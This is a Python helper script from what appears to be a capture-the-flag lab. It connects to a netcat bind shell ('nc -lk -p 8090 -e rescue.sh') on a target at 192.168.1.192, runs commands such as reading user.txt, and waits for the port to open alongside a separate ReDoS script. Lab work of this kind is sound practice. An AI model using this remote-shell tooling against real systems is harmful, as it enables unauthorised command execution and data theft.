#!/usr/bin/env python3 """Groups 靶场: 8090 应急控制台执行脚本. 背景: 8090 是 `nc -lk -p 8090 -e rescue.sh`, 串行单连接 —— 同一时刻只能连一个, 上一个连完必须断开, 下一个才能连上. 本脚本每条命令独占一次连接, 自动开关, 避免手工 nc 卡死. 用法: python3 shell8090.py --wait # 轮询等 8090 弹起 (配合 redos_keep.py 使用, 最多等 10 分钟) python3 shell8090.py 'id' 'cat /home/setup/user.txt' # 依次执行命令并打印输出 """ import socket import sys import time HOST, PORT = "192.168.1.192", 8090 def run(cmd, wait=8.0): s = socket.create_connection((HOST, PORT), timeout=8) s.settimeout(8) try: # 首包是横幅, 吞掉 s.recv(4096) except Exception: pass s.sendall(cmd.encode() + b"\n") out = b"" end = time.time() + wait while time.time() < end: try: d = s.recv(65536) if not d: break out += d end = time.time() + 4 except socket.timeout: break s.close() text = out.decode("utf-8", errors="replace") print(f"# {cmd}\n{text}\n{'-' * 40}", flush=True) return text def wait_open(timeout=600): t0 = time.time() while time.time() - t0 < timeout: try: s = socket.create_connection((HOST, PORT), timeout=5) s.close() print("8090 OPEN", flush=True) return True except Exception: time.sleep(5) print("TIMEOUT: 8090 未弹起, 检查 redos_keep.py 是否还在跑", flush=True) return False if __name__ == "__main__": args = sys.argv[1:] if not args: print(__doc__) sys.exit(1) if args[0] == "--wait": sys.exit(0 if wait_open() else 1) for c in args: run(c)